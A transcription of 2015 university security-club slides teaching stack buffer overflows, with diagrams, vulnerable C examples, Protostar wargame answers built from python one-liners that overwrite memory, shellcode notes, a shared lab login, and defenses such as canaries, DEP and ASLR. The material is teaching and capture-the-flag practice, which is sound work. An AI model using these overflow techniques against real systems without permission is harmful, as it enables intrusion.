01/22/15 Meeting Slides (Stack Exploitation)

Transcription

01/22/15 Meeting Slides (Stack Exploitation)
UOSEC
Introduction to Stack
Exploits
Presenters
o  Adam pond2@uoregon.edu
•  IRC nick: xe0
o  Frank farana@uoregon.edu
•  IRC nick: kee
o  irc.freenode.net #0x4f
Agenda
• 
• 
• 
• 
• 
GITS results
CTF practice this week (helpful tools) Sat 10am-2pm
After meeting movie night Blackhat Cinemark 17 7:30pm
Next big CTF BKP (Boston Key Party)
March 7th All Oregon CTF
Virtual Address Space
Kernel Space
Stack
Heap
Address 0x0c000000
Address 0x04000000
Address 0x00400000
BSS Segment
Address 0x00040000
Data Segment
Address 0x00008000
Text Segment
Address 0x00004000
Address 0x00000000
Virtual Address Cont.
Kernel Space
Stack
Malloced memory area
Address 0x0c000000
Address 0x04000000
Address 0x00400000
Uninitialized static vars
Address 0x00040000
Global and initialized
Static variables
Address 0x00008000
ROM of object file
executable instructions
Address 0x00004000
Address 0x00000000
Virtual Address Cont.
•  Virtual address space is designed so that each program
believes it has access to 100% of the memory of the
system
•  The stack grows down towards lower memory addresses
•  The heap grows up towards higher memory addresses
Stack Review
Bottom of stack
Address 0x04cfffff
Return address
Saved frame pointer
Stack grows down
Stack variables
Function call arguments
Return address
Saved frame pointer
Stack variables
Function call arguments
.
.
.
.
Top of stack
Address 0x04cf0000
Stack Example
Bottom of stack
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
Lets copy some data in buffer2
Return address
Saved frame pointer
3
2
1
Return address
Saved frame pointer
buffer1
buffer2
.
.
.
.
Top of stack
Stack Example Cont.
Bottom of stack
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
strcpy(buffer2, “AAAAAAAAA”);
}
void main() {
function(1,2,3);
}
9 A’s are copied into buffer2
Anyone spot anything interesting?
More on this in a little bit…
Return address
Saved frame pointer
3
2
1
Return address
Saved frame pointer
buffer1
AAAAAAAAA
.
.
.
.
Top of stack
Stack Review Summary
•  The stack grows downward and memory writes go up
•  The basic stack structure and how it pushes and pops
memory off so that each function can maintain its scope
•  Like most ideas in computer science, security was not a
focus during its inception
Buffer Overflow
•  Simplest type of memory corruption exploit
•  Still exploitable in many systems today
•  Modern OS and compilers now have built in
defenses to buffer overflow
Buffer Overflow Example
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
Bottom of stack
Return address
Saved frame pointer
3
2
1
Return address
Saved frame pointer
buffer1
Lets return to our original example
buffer2
.
.
.
.
Top of stack
Buffer Overflow Ex. Ct.
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
strcpy(buffer2, “AAAAAAAAA”);
}
void main() {
function(1,2,3);
}
9 A’s are copied into buffer2 what happens if
we copy more than the 10 bytes specified in
Buffer2?
Bottom of stack
Return address
Saved frame pointer
3
2
1
Return address
Saved frame pointer
buffer1
AAAAAAAAA
.
.
.
.
Top of stack
Buffer Overflow Ex. Ct.
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
strcpy(buffer2,
“AAAAAAAAAAAAAA”);
}
void main() {
function(1,2,3);
}
The buffer2 variable overflows into buffer1
why does this happen? Lets keep
overflowing.
Bottom of stack
Return address
Saved frame pointer
3
2
1
Return address
Saved frame pointer
AAAA
AAAAAAAAA
.
.
.
.
Top of stack
Buffer Overflow Ex. Ct.
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
strcpy(buffer2,
“AAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA”);
}
void main() {
function(1,2,3);
}
Now we have completely overwritten both
Buffers, the saved frame pointer, and the
return address. What will happen now?
Bottom of stack
Return address
Saved frame pointer
3
2
1
AAAAAAAAAAA
AAAAAAAAAAA
AAAA
AAAAAAAAA
.
.
.
.
Top of stack
Buffer Overflow Ex. Ct.
.
.
.
.
GDB Demo
Example Protostar Stack0
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Example Protostar Stack0 Ct.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Bottom of stack
Return address
Saved frame pointer
volatile int modified
char buffer[64]
.
.
.
.
.
.
.
.
.
.
.
Top of stack
Example Protostar Stack0 Ct.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
gets(buffer) reads in
volatile int modified;
data into buffer from
char buffer[64];
modified = 0;
gets(buffer);
STDIN what
happens if we read in
65 chars?
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Bottom of stack
Return address
Saved frame pointer
modified = 0
char buffer[64]
.
.
.
.
.
.
.
.
.
.
.
Top of stack
Example Protostar Stack0 Ct.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
We have overflowed the buffer and
modified the variable to now contain
the value A (0x41) which != 0
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Bottom of stack
Return address
Saved frame pointer
modified = A
AAAAAA…AA
.
.
.
.
.
.
.
.
.
.
.
Top of stack
Exercise Protostar Stack1
https://exploit-exercises.com/protostar/stack1
ssh user@uosec.net -p 2048
password: user
Type cd /opt/protostar/bin <return>
Type ./stack1 <arg1> to run the binary
Hints on exploit-exercises.com/protostar/stack1
Protostar Stack1 Answer
➜ bin ./stack1 $(python -­‐c "print 'A'*64+'\x64\x63\x62\x61'") Protostar Stack1 Answer
➜ bin ./stack1 $(python -­‐c "print 'A'*64+'\x64\x63\x62\x61'") ./stack1 $(python –c “some python command”)
#this program requires an argv so in order to give
#an arg we use var substitution $(command)
#and with python the -c flag says “inline” python
Protostar Stack1 Answer
➜ bin ./stack1 $(python -­‐c "print 'A'*64+'\x64\x63\x62\x61'") ./stack1 $(python –c “some python command”)
#this program requires an argv so in order to give
#an arg we use var substitution $(command)
#and with python the -c flag says “inline” python
print ‘A’*64 # prints 64 A’s
Protostar Stack1 Answer
➜ bin ./stack1 $(python -­‐c "print 'A'*64+'\x64\x63\x62\x61'") ./stack1 $(python –c “some python command”)
#this program requires an argv so in order to give
#an arg we use var substitution $(command)
#and with python the -c flag says “inline” python
print ‘A’*64 # prints 64 A’s
+ ‘\x64\x63\x62\x61’ #\x indicates hexadecimal format
Possible Exploit Opportunity
•  So we actually control eip but what can we really do
with this?
•  If the stack is executable (more on that later) than we
more than likely can inject shellcode into the stack (or
use code already on the stack) to own the machine
leaving the system admin….
Possible Exploit Opportunity
Possible Exploit Opportunity
•  All joking aside, please do not attempt this on a
machine you do not have permission to do. There is
some serious (and crazy) penalties if you are caught
(and you don’t even have to be successful).
•  Legal ways to practice are to participate in CTFS
both current and past, test on your own system or
someone you know who has given permission (in
writing), and of course getting a job in security field
($$$$$$).
Storing Shellcode
•  As I said earlier one of the things an adversary can
sometimes do if a buffer overflow is present is find a
place on the stack to store shellcode.
•  Shellcode is assembly usually represented in
hexadecimal that an adversary can use to spawn a shell
or other system calls. http://shell-storm.org/shellcode/
•  Shellcode can be stored in environmental variables
(which are stored on the stack). It can also be stored in
other areas of memory such as the heap, GOT (global
offset table), PLT (procedure linker table), and more
Defense to Buffer Overflow
•  Stack cookies aka “canary” value
•  DEP data execution prevention
•  ASLR Address Space Layout Randomization
Defense to Buffer Overflow
While you can make exploitation more difficult
through:
•  memory protection schemes
•  run-time validation
•  obfuscation and randomization
Finding and fixing every vulnerability is not possible!
Stack Cookie
Bottom of stack
•  Random cookie or canary value
is placed before return address
by the compiler
•  Checks the random cookie value
before using function return
address
•  If cookie value has been altered,
program halts.
Return address
Saved frame pointer
Cookie
char buffer[1024]
..
..
..
..
..
..
..
..
..
..
..
Top of stack
Data Execution Protection
•  Enforces that processor does not execute instructions
from data memory pages (stack, heap)
•  Make page permission bits meaningful i.e. enforcing that
read bit != execute bit
•  Can be bypassed using ret2libc, return oriented
programming
ASLR
•  PIC (position independent code) moves around
code (executable and libraries) and data (stacks, heaps)
s.t. memory addresses of stacks, heaps, and code
are different every run.
•  ASLR(address space layout randomization) moves
around just stacks, and heaps.
•  Can be bypassed using brute force if the randomizer
isn’t good (aka guess addresses).
•  Can use another vulnerability to reveal memory address
in the target process (heap leak, format string)
ASLR
Run # 1
Bottom of stack
0xFF
Return address
0xEF
0xDF
0xDD
Saved frame pointer
char buffer[1024]
Top of stack
Run # 3
Run # 2
0xAA
Top of stack
0xFF
char buffer[1024]
0xCD
Saved frame pointer
0xCC
Return address
0xCA
Bottom of stack
0xBF
Bottom of stack
0xEC
Saved frame pointer
0xEA
Return address
0xDF
char buffer[1024]
0xCE
Top of stack
0xCD
Protostar Stack2 Exercise
https://exploit-exercises.com/protostar/stack2
ssh user@uosec.net -p 2048
password: user
Type cd /opt/protostar/bin <return>
Type ./stack2 to run the binary
Hint: You can set an environmental variable by
export env_var=“This is an environmental variable”
Protostar Stack2 Answer
➜ bin export GREENIE="$(python –c "print'A'*64+'\x0a\x0d\x0a\x0d'") Protostar Stack2 Answer
➜ bin export GREENIE="$(python –c "print'A'*64+'\x0a\x0d\x0a\x0d'") ➜ bin export GREENIE=”<code>” # creates environmental var named GREENIE # assigns it value of <code> Protostar Stack2 Answer
➜ bin export GREENIE="$(python –c "print'A'*64+'\x0a\x0d\x0a\x0d'") ➜ bin export GREENIE=”<code>” # creates environmental var named GREENIE # assigns it value of <code> $(python –c "print'A'*64+'\x0a\x0d\x0a\x0d'") # overwrite buffer with address 0x0d0a0d0a Shell demo
RTFM
“Smashing the Stack for Fun and Profit”, Aleph One 1996
http://insecure.org/stf/smashstack.html
Summary
•  All stack buffer overflows follow the same basic format of
over writing memory the program didn’t intend to be
overwritten for the purpose of exploitation
•  Learn how to spot the vulnerability
•  Learn how to spot the defenses and their workarounds
•  Practice practice practice